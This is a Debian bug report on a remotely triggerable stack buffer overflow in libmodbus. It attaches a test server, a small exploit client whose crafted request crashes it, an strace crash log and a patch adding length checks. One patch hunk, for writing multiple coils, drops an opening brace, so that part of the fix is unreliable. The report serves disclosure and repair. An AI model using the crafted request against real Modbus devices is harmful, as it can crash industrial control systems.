Package: libmodbus5
Version: 3.0.2-1
Severity: normal
Tags: upstream patch

Hi,

a Debian user reported crashes caused by buffer overflowing remote requests.
The attached example server (server.c, port 15502) provides a 0x100 registers
buffer. The example client (exploit.c) reads 140 registers at once which
overflows the maximum of 125 and crashes the server (see the trace in
libmodbus-crash.txt).

The attached patch fixes it.

Thanks to Josef Holzmayr for reporting and providing example code and the
patch!

Roland


-- System Information:
Debian Release: wheezy/sid
  APT prefers unstable
  APT policy: (500, 'unstable'), (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.2.0-1-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash

Versions of packages libmodbus5 depends on:
ii  libc6  2.13-26

libmodbus5 recommends no packages.

libmodbus5 suggests no packages.

-- no debconf information
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <signal.h>

#include <modbus/modbus.h>

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

modbus_t *ctx = NULL;
int server_socket;
modbus_mapping_t *mb_mapping;

#define MODBUS_TCP_MAXCONNECTIONS	5
#define MODBUS_DATA_SIZE		0x100

static void close_sigint(int dummy) {
	close(server_socket);
	modbus_free(ctx);
	modbus_mapping_free(mb_mapping);

	exit(dummy);
}

int main(void) {
	int master_socket;
	int rc;
	fd_set refset;
	fd_set rdset;

	/* Maximum file descriptor number */
	int fdmax;

	ctx = modbus_new_tcp("127.0.0.1", 15502);

	mb_mapping = modbus_mapping_new(0, 0, MODBUS_DATA_SIZE, 0);
	if (mb_mapping == NULL) {
		modbus_free(ctx);
		return -1;
	}

	server_socket = modbus_tcp_listen(ctx, MODBUS_TCP_MAXCONNECTIONS);

	signal(SIGINT, close_sigint);

	/* Clear the reference set of socket */
	FD_ZERO(&refset);
	/* Add the server socket */
	FD_SET(server_socket, &refset);

	/* Keep track of the max file descriptor */
	fdmax = server_socket;

	for (;;) {
		rdset = refset;
		if (select(fdmax+1, &rdset, NULL, NULL, NULL) == -1) {
			close_sigint(1);
		}

		/* Run through the existing connections looking for data to be
		 * read */
		for (master_socket = 0; master_socket <= fdmax; master_socket++) {

			if (FD_ISSET(master_socket, &rdset)) {
				if (master_socket == server_socket) {
					/* A client is asking a new connection */
					socklen_t addrlen;
					struct sockaddr_in clientaddr;
					int newfd;

					/* Handle new connections */
					addrlen = sizeof(clientaddr);
					memset(&clientaddr, 0, sizeof(clientaddr));
					newfd = accept(server_socket, (struct sockaddr *)&clientaddr, &addrlen);
					if (newfd != -1) {
						FD_SET(newfd, &refset);

						if (newfd > fdmax) {
							/* Keep track of the maximum */
							fdmax = newfd;
						}
					}
				} else {
					/* An already connected master has sent a new query */
					uint8_t query[MODBUS_TCP_MAX_ADU_LENGTH];

					modbus_set_socket(ctx, master_socket);
					rc = modbus_receive(ctx, query);
					if (rc != -1) {
						modbus_reply(ctx, query, rc, mb_mapping);
					} else {
						/* Connection closed by the client, end of server */
						close(master_socket);

						/* Remove from reference set */
						FD_CLR(master_socket, &refset);

						if (master_socket == fdmax) {
							fdmax--;
						}
					}
				}
			}
		}
			}

	return 0;
}
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>

int main()
{
	int	sd;
	struct sockaddr_in sin;
	struct sockaddr_in pin;
	struct hostent *hp;

	char challenge[] = "\x01\x00\x00\x00\x00\x06\x01\x03\x00\x00\x00\x8C";

	hp = gethostbyname("localhost");
	memset(&pin, 0, sizeof(pin));
	pin.sin_family = AF_INET;
	pin.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr;
	pin.sin_port = htons(15502);
	sd = socket(AF_INET, SOCK_STREAM, 0);
	connect(sd,(struct sockaddr *)  &pin, sizeof(pin));

	send(sd, challenge, 12, 0);

	close(sd);
	return 0;
}
jd@tabr:~/src/libmodbus-exploit$ strace -x ./server 
execve("./server", ["./server"], [/* 57 vars */]) = 0
brk(0)                                  = 0x1fc8000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 
0x7f090adca000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=139478, ...}) = 0
mmap(NULL, 139478, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f090ada7000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/usr/local/lib/libmodbus.so.5", O_RDONLY) = 3
read(3, 
"\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x30\x27\x00\x00\x00\x00\x00\x00"...,
 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=39296, ...}) = 0
mmap(NULL, 2134472, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 
0x7f090a9a2000
mprotect(0x7f090a9aa000, 2097152, PROT_NONE) = 0
mmap(0x7f090abaa000, 8192, PROT_READ|PROT_WRITE, 
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x8000) = 0x7f090abaa000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, 
"\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x20\x14\x02\x00\x00\x00\x00\x00"...,
 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1685816, ...}) = 0
mmap(NULL, 3801960, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 
0x7f090a601000
mprotect(0x7f090a798000, 2093056, PROT_NONE) = 0
mmap(0x7f090a997000, 20480, PROT_READ|PROT_WRITE, 
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x196000) = 0x7f090a997000
mmap(0x7f090a99c000, 21352, PROT_READ|PROT_WRITE, 
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f090a99c000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 
0x7f090ada6000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 
0x7f090ada4000
arch_prctl(ARCH_SET_FS, 0x7f090ada4720) = 0
mprotect(0x7f090a997000, 16384, PROT_READ) = 0
mprotect(0x7f090abaa000, 4096, PROT_READ) = 0
mprotect(0x601000, 4096, PROT_READ)     = 0
mprotect(0x7f090adcc000, 4096, PROT_READ) = 0
munmap(0x7f090ada7000, 139478)          = 0
brk(0)                                  = 0x1fc8000
brk(0x1fe9000)                          = 0x1fe9000
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
bind(3, {sa_family=AF_INET, sin_port=htons(15502), 
sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 5)                            = 0
rt_sigaction(SIGINT, {0x400a14, [INT], SA_RESTORER|SA_RESTART, 0x7f090a637420}, 
{SIG_DFL, [], 0}, 8) = 0
select(4, [3], NULL, NULL, NULL)        = 1 (in [3])
accept(3, {sa_family=AF_INET, sin_port=htons(1725), 
sin_addr=inet_addr("192.168.3.156")}, [16]) = 4
select(5, [3 4], NULL, NULL, NULL)      = 1 (in [4])
select(5, [4], NULL, NULL, NULL)        = 1 (in [4])
recvfrom(4, "\x01\x00\x00\x00\x00\x06\x01\x03", 8, 0, NULL, NULL) = 8
select(5, [4], NULL, NULL, {0, 500000}) = 1 (in [4], left {0, 499997})
recvfrom(4, "\x00\x00\x00\x8c", 4, 0, NULL, NULL) = 4
sendto(4, 
"\x01\x00\x00\x00\x01\x1b\x01\x03\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"...,
 289, MSG_NOSIGNAL, NULL, 0) = 289
open("/dev/tty", O_RDWR|O_NOCTTY|O_NONBLOCK) = 5
writev(5, [{"*** ", 4}, {"stack smashing detected", 23}, {" ***: ", 6}, 
{"./server", 8}, {" terminated\n", 12}], 5*** stack smashing detected ***: 
./server terminated
) = 53
open("/etc/ld.so.cache", O_RDONLY)      = 6
fstat(6, {st_mode=S_IFREG|0644, st_size=139478, ...}) = 0
mmap(NULL, 139478, PROT_READ, MAP_PRIVATE, 6, 0) = 0x7f090ada7000
close(6)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libgcc_s.so.1", O_RDONLY) = 6
read(6, 
"\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\xb0\x28\x00\x00\x00\x00\x00\x00"...,
 832) = 832
fstat(6, {st_mode=S_IFREG|0644, st_size=88384, ...}) = 0
mmap(NULL, 2184216, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 6, 0) = 
0x7f090a3eb000
mprotect(0x7f090a400000, 2093056, PROT_NONE) = 0
mmap(0x7f090a5ff000, 8192, PROT_READ|PROT_WRITE, 
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 6, 0x14000) = 0x7f090a5ff000
close(6)                                = 0
mprotect(0x7f090a5ff000, 4096, PROT_READ) = 0
munmap(0x7f090ada7000, 139478)          = 0
write(5, "======= Backtrace: =========\n", 29======= Backtrace: =========
) = 29
writev(5, [{"/lib/x86_64-linux-gnu/libc.so.6", 31}, {"(", 1}, 
{"__fortify_fail", 14}, {"+0x", 3}, {"37", 2}, {")", 1}, {"[0x", 3}, 
{"7f090a6fb4f7", 12}, {"]\n", 2}], 
9/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x37)[0x7f090a6fb4f7]
) = 69
writev(5, [{"/lib/x86_64-linux-gnu/libc.so.6", 31}, {"(", 1}, 
{"__fortify_fail", 14}, {"+0x", 3}, {"0", 1}, {")", 1}, {"[0x", 3}, 
{"7f090a6fb4c0", 12}, {"]\n", 2}], 
9/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x0)[0x7f090a6fb4c0]
) = 68
writev(5, [{"/usr/local/lib/libmodbus.so.5", 29}, {"(", 1}, {"+0x", 3}, 
{"3a08", 4}, {")", 1}, {"[0x", 3}, {"7f090a9a5a08", 12}, {"]\n", 2}], 
8/usr/local/lib/libmodbus.so.5(+0x3a08)[0x7f090a9a5a08]
) = 55
writev(5, [{"./server", 8}, {"[0x", 3}, {"400e36", 6}, {"]\n", 2}], 
4./server[0x400e36]
) = 19
write(5, "======= Memory map: ========\n", 29======= Memory map: ========
) = 29
open("/proc/self/maps", O_RDONLY)       = 6
read(6, "00400000-00402000 r-xp 00000000 "..., 1024) = 1024
write(5, "00400000-00402000 r-xp 00000000 "..., 102400400000-00402000 r-xp 
00000000 08:13 8651167                            
/home/jd/src/libmodbus-exploit/server
00601000-00602000 r--p 00001000 08:13 8651167                            
/home/jd/src/libmodbus-exploit/server
00602000-00603000 rw-p 00002000 08:13 8651167                            
/home/jd/src/libmodbus-exploit/server
01fc8000-01fe9000 rw-p 00000000 00:00 0                                  [heap]
7f090a3eb000-7f090a400000 r-xp 00000000 00:11 8032                       
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f090a400000-7f090a5ff000 ---p 00015000 00:11 8032                       
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f090a5ff000-7f090a600000 r--p 00014000 00:11 8032                       
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f090a600000-7f090a601000 rw-p 00015000 00:11 8032                       
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f090a601000-7f090a798000 r-xp 00000000 00:11 3837944                    
/lib/x86_64-linux-gnu/libc-2.13.so
7f090a798000-7f090a997000 ---p 00197000 00:11 3837944              ) = 1024
read(6, "      /lib/x86_64-linux-gnu/libc"..., 1024) = 1024
write(5, "      /lib/x86_64-linux-gnu/libc"..., 1024      
/lib/x86_64-linux-gnu/libc-2.13.so
7f090a997000-7f090a99b000 r--p 00196000 00:11 3837944                    
/lib/x86_64-linux-gnu/libc-2.13.so
7f090a99b000-7f090a99c000 rw-p 0019a000 00:11 3837944                    
/lib/x86_64-linux-gnu/libc-2.13.so
7f090a99c000-7f090a9a2000 rw-p 00000000 00:00 0 
7f090a9a2000-7f090a9aa000 r-xp 00000000 00:11 3885135                    
/usr/local/lib/libmodbus.so.5.0.1
7f090a9aa000-7f090abaa000 ---p 00008000 00:11 3885135                    
/usr/local/lib/libmodbus.so.5.0.1
7f090abaa000-7f090abab000 r--p 00008000 00:11 3885135                    
/usr/local/lib/libmodbus.so.5.0.1
7f090abab000-7f090abac000 rw-p 00009000 00:11 3885135                    
/usr/local/lib/libmodbus.so.5.0.1
7f090abac000-7f090abcd000 r-xp 00000000 00:11 3837941                    
/lib/x86_64-linux-gnu/ld-2.13.so
7f090ada4000-7f090ada7000 rw-p 00000000 00:00 0 
7f090adca000-7f090adcc000 rw-p 00000000 00:00 0 
7f090adcc000-7f090adcd000 r--p 00020000 00:11 3837941                    
/lib/x86_64-l) = 1024
read(6, "inux-gnu/ld-2.13.so\n7f090adcd000"..., 1024) = 371
write(5, "inux-gnu/ld-2.13.so\n7f090adcd000"..., 371inux-gnu/ld-2.13.so
7f090adcd000-7f090adcf000 rw-p 00021000 00:11 3837941                    
/lib/x86_64-linux-gnu/ld-2.13.so
7fff7235e000-7fff7237f000 rw-p 00000000 00:00 0                          [stack]
7fff723ff000-7fff72400000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  
[vsyscall]
) = 371
read(6, "", 1024)                       = 0
close(6)                                = 0
rt_sigprocmask(SIG_UNBLOCK, [ABRT], NULL, 8) = 0
gettid()                                = 9183
tgkill(9183, 9183, SIGABRT)             = 0
--- SIGABRT (Aborted) @ 0 (0) ---
+++ killed by SIGABRT +++
Abgebrochen
>From e0d5540cca53108164f6a41df456fea7682252d0 Mon Sep 17 00:00:00 2001
From: Josef Holzmayr <holzm...@rsi-elektrotechnik.de>
Date: Mon, 19 Mar 2012 22:02:36 +0100
Subject: [PATCH] Add length checks to multiple read/write commands

---
 src/modbus.c |   22 +++++++++++++++-------
 1 file changed, 15 insertions(+), 7 deletions(-)

diff --git a/src/modbus.c b/src/modbus.c
index 2860d29..ccee878 100644
--- a/src/modbus.c
+++ b/src/modbus.c
@@ -662,7 +662,8 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req,
     case _FC_READ_COILS: {
         int nb = (req[offset + 3] << 8) + req[offset + 4];
 
-        if ((address + nb) > mb_mapping->nb_bits) {
+        if ((address + nb) > mb_mapping->nb_bits ||
+			nb > MODBUS_MAX_READ_BITS) {
             if (ctx->debug) {
                 fprintf(stderr, "Illegal data address %0X in read_bits\n",
                         address + nb);
@@ -684,7 +685,8 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req,
          * function) */
         int nb = (req[offset + 3] << 8) + req[offset + 4];
 
-        if ((address + nb) > mb_mapping->nb_input_bits) {
+        if ((address + nb) > mb_mapping->nb_input_bits ||
+			nb > MODBUS_MAX_READ_BITS) {
             if (ctx->debug) {
                 fprintf(stderr, "Illegal data address %0X in read_input_bits\n",
                         address + nb);
@@ -704,7 +706,8 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req,
     case _FC_READ_HOLDING_REGISTERS: {
         int nb = (req[offset + 3] << 8) + req[offset + 4];
 
-        if ((address + nb) > mb_mapping->nb_registers) {
+        if ((address + nb) > mb_mapping->nb_registers ||
+			nb > MODBUS_MAX_READ_REGISTERS) {
             if (ctx->debug) {
                 fprintf(stderr, "Illegal data address %0X in read_registers\n",
                         address + nb);
@@ -729,7 +732,8 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req,
          * function) */
         int nb = (req[offset + 3] << 8) + req[offset + 4];
 
-        if ((address + nb) > mb_mapping->nb_input_registers) {
+        if ((address + nb) > mb_mapping->nb_input_registers ||
+			nb > MODBUS_MAX_READ_REGISTERS) {
             if (ctx->debug) {
                 fprintf(stderr, "Illegal data address %0X in read_input_registers\n",
                         address + nb);
@@ -797,7 +801,8 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req,
     case _FC_WRITE_MULTIPLE_COILS: {
         int nb = (req[offset + 3] << 8) + req[offset + 4];
 
-        if ((address + nb) > mb_mapping->nb_bits) {
+        if ((address + nb) > mb_mapping->nb_bits ||
+			nb > MODBUS_MAX_WRITE_BITS)
             if (ctx->debug) {
                 fprintf(stderr, "Illegal data address %0X in write_bits\n",
                         address + nb);
@@ -819,7 +824,8 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req,
     case _FC_WRITE_MULTIPLE_REGISTERS: {
         int nb = (req[offset + 3] << 8) + req[offset + 4];
 
-        if ((address + nb) > mb_mapping->nb_registers) {
+        if ((address + nb) > mb_mapping->nb_registers ||
+			nb > MODBUS_MAX_WRITE_REGISTERS) {
             if (ctx->debug) {
                 fprintf(stderr, "Illegal data address %0X in write_registers\n",
                         address + nb);
@@ -873,7 +879,9 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req,
         int nb_write = (req[offset + 7] << 8) + req[offset + 8];
 
         if ((address + nb) > mb_mapping->nb_registers ||
-            (address_write + nb_write) > mb_mapping->nb_registers) {
+            (address_write + nb_write) > mb_mapping->nb_registers ||
+			nb > MODBUS_MAX_RW_WRITE_REGISTERS ||
+			nb_write > MODBUS_MAX_RW_WRITE_REGISTERS) {
             if (ctx->debug) {
                 fprintf(stderr,
                         "Illegal data read address %0X or write address %0X write_and_read_registers\n",
-- 
1.7.9.4

Reply via email to